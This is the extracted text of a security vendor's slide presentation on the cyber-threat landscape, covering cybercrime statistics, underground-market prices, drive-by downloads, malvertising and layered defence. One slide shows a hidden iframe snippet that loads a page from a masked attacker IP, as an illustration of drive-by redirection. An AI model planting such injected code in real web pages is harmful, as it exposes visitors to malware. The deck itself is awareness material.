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The Threat Landscape



How Likely Is It?
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To be struck by thunder?

To be in car accident?

To be bitten by a snake?

To be attacked online??
1 in 2.6M 1 in 40M

1 in 300 1 in 5
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Cyber Crime has 
Surpassed Illegal 

Drug Trafficking as a 
Criminal Moneymaker
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Exponential Spike In Malicious Activities
More new malicious programs were 
detected in the last 18 months than 
in all the previous years combined

Symantec Internet Security Threat Report (Trends for 2008), volume XIV, published April 2009
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Information At Risk
Majority of data breaches in 

Education (27%), followed by 
Government (20%) and 

Healthcare (15%) 

More than half of breaches 
(57%) due to theft or loss, 
followed by insecure policy 

(21%)



It’s immoral, 
but the money 
makes it right.

Convicted Botherder 
Jeanson James Ancheta   
1/25/2006

1st Cyber Criminal to be Charged



Fame Fortune
Old Motivation

Steal information
Send spam

Download files

Conficker infected > 4.6M machines



Are You Protected? 
Cyber-crime has surpassed illegal drug trafficking as criminal moneymaker and 
critical data loss is costing companies millions

> 192% growth in spam from 2007 to 2008

> In 2008, Symantec documented 5,471 vulnerabilities,  
80% of which were easily exploitable 

> 90% of incidents wouldn’t have happened if systems had been patched

> In 2008 Symantec found 75,000 active bot-infected computers per day, 
up 31% from 2007

> 59% of companies can tolerate 4 hours or less of downtime

> Average cost per business downtime is approx $287,000

> 1/3 of businesses without proper data recovery have lost sales; 
and 20% have lost customers

> Data breaches in 2008 exposed 285 million records, more than in the 
previous 4 years combined

> 90% of data breaches in 2008 involved organized crime targeting 
corporate data; 67% were due to insider negligence

> IP theft costs companies $600 billion globally

Organized 
Criminal

System 
Disaster

Malicious
Insider



Triving Underground Economy
> The Underground Economy is geographically diverse and 

shows the ability to generate millions of dollars in revenue for 
cybercriminals.

> It is a self-sustaining system where tools that aid in fraud 
and theft can be purchased and the stolen information 
obtained by those tools can then be sold.

> Cybercriminals range from loose collections of individuals to 
organized and sophisticated groups, all with a common 
purpose.

> Software piracy closely reflects the retail market; software 
categories with the highest volume of sales are also the most 
heavily pirated.
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Goods and Services
Value of Advertised Goods & Services
> Symantec estimates the value of total advertised goods on underground 

economy servers was over $276 million for the reporting period

> The potential worth of all credit cards advertised during this reporting 
period would be $5.3 billion
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Value of advertised goods as a percentage of total, by category



Goods and Services 
Advertised by Item
> Bank account credentials were the most advertised individual item on the 

Underground Economy followed by credit cards with CVV2 numbers

> Requested rank and rank for sale match closely for many items 
indicating the market is as susceptible to supply and demand trends as 
legitimate markets

> Bulk pricing is available for items such as credit cards and full identities
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Breakdown of goods and services available for sale and requested



Goods and Services
Malicious Tools
> Malicious tools can be used to steal confidential information

> Attack kits, spam and phishing kits, malicious code, and exploits are 
available on the underground economy

> Exploits and attack kits had the highest average prices

> Pricing is based on supply and demand as well as the tool’s capabilities
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Attack kit prices Exploit prices



Any Web site can infect you
…just by browsing to it

> In 2008, Symantec observed Web attacks from 808,000 unique domains:
– News, travel, online games, real estate, government, others

> 18 Million drive-by download infection attempts from which Norton 
consumer customers were protected.  Source: 2008 Norton 



Any Web site can infect you
…just by browsing to it

> In the past – you had to visit dangerous sites to get infected
… but today they’re on legitimate sites attacking you
– “Drive-by Downloads” :Attacker inserts an attack 

into a poorly-secured web page

> Exploits leverage software vulnerabilities
without user interaction. 

Question: 
Is your machine patched for every 
vulnerability exploited by malware authors?

• Web browser, ActiveX, Browser plug-ins
• Document readers, Multimedia plug-ins 
• Other 3rd party applications

How do you know? How can you keep up?



Anatomy of a Drive-by Download
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Hacker inserts
malicious URL

Web User visits
Good Web site

User is re-directed
to Bad Web site

Bad Web site sends
obfuscated threat that

attacks vulnerability to 
take control of user’s system

Malware installed
without User noticing

Malware sends
private data
to Hacker












Legitimate
Web Site

<iframe src:’http://200.x.y.z/iframe.php’ 
width=‘1’, height=‘1’ style=‘visibility: 

hidden;’>
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Attackers are obfuscating attacks
Makes it even harder to detect
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Old Attack Redirection Code

New Obfuscated Attack Redirection 
Code



Malvertisements
Redirect Users to Malicious Sites

> Malicious Advertisements or Malvertisements are one of the 
ways mainstream sites infect users 

> Not directly the main Web site, but hosted on 3rd party 
advertising sites

> Ads play automatically and redirect user to ANY URL the 
attacker wishes

> The problem with ads:
– Too many ads to verify all of them
– Ineffective tools to validate them
– Too many sites looking for advertising revenue
– Difficult to detect – rotation every 1 out of 100, 1000 or 10,000 times.
– Ads are regional which make it even harder to detect!



Changes in the Threat 
Landscape

From Hackers… To Thieves

Few named variants Overwhelming variants

Noisy and highly visible Silent

Fame motivated Financially motivated

Indiscriminate Highly targeted



The solution… Layered Security

Proactive Threat 
Protection

Network Threat 
Protection

“Block threats before entering the system”

“Find unknown threats”

AV, Spyware, Repair, 

AV & AS 
Protection

“Don’t let threats persist!”
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Engage Multiple Stakeholders
NATIONAL INFORMATION ASSURANCE POLICY FRAMEWORK

National Legislation & Regulations

Data Protection Cyber Crime Anti Spam Online Child Safety

GOVERNMENT PRIVATE SECTOR GENERAL PUBLIC

Critical Information Infrastructure Protection 
Policies & Structures

Identify CII assets/functions & Interdependencies
Identify Of CII Owners & Operators

Establish Trusted Information Sharing & Analysis
Establish Public/Private Roles & Responsibilities

Plan & Test Emergency Response Plans

Awareness Building & Threat 
Notification

Increase Awareness Of Small
Businesses & Individuals

Issue Notifications Of Threats, 
Vulnerabilities, Security Incidents

Public-Private Partnerships & International Cooperation
Research Institutes Industry Experts Int’l Alliances & AssociationsOther N-CERTS

Policy & Operational Coordination & Response
Military Law Enforcement CERT (Govt, National, Academic)Agencies
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Austin, TXMountain View, CA
Culver City, CA

San Francisco, CA

Taipei, Taiwan

Tokyo, Japan

Dublin, IrelandCalgary, Alberta

Chengdu, China

Chennai, India
Pune, India

Alexandria, VA

Reading, England

Sydney, AU

Attack Activity
• 240,000 sensors
• 200+ countries

Malware Intelligence
• 130M client, server, 
gateways monitored
• Global coverage

Vulnerabilities
• 32,000+ vulnerabilities

• 11,000 vendors
• 72,000 technologies

Spam/Phishing
• 2.5M decoy accounts

• 8B+ email messages/day
• 1B+ web requests/day

Information ProtectionPreemptive Security Alerts Threat Triggered Actions

Global Scope and ScaleWorldwide Coverage 24x7 Event Logging

Rapid Detection

Threat Activity
• 240,000 sensors
• 200+ countries

Malcode Intelligence
• 130M client, server, 

gateways
• Global coverage

Vulnerabilities
• 32,000+ vulnerabilities

• 11,000 vendors
• 72,000 technologies

Spam/Phishing
•2.5M decoy accounts

•8B+ email messages/daily
•1B+ web requests/daily

Global Intelligence Network
Identifies more threats, takes action faster & prevents impact



Thank You!
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david_balamon@symantec.com

+(63917) 898-0892
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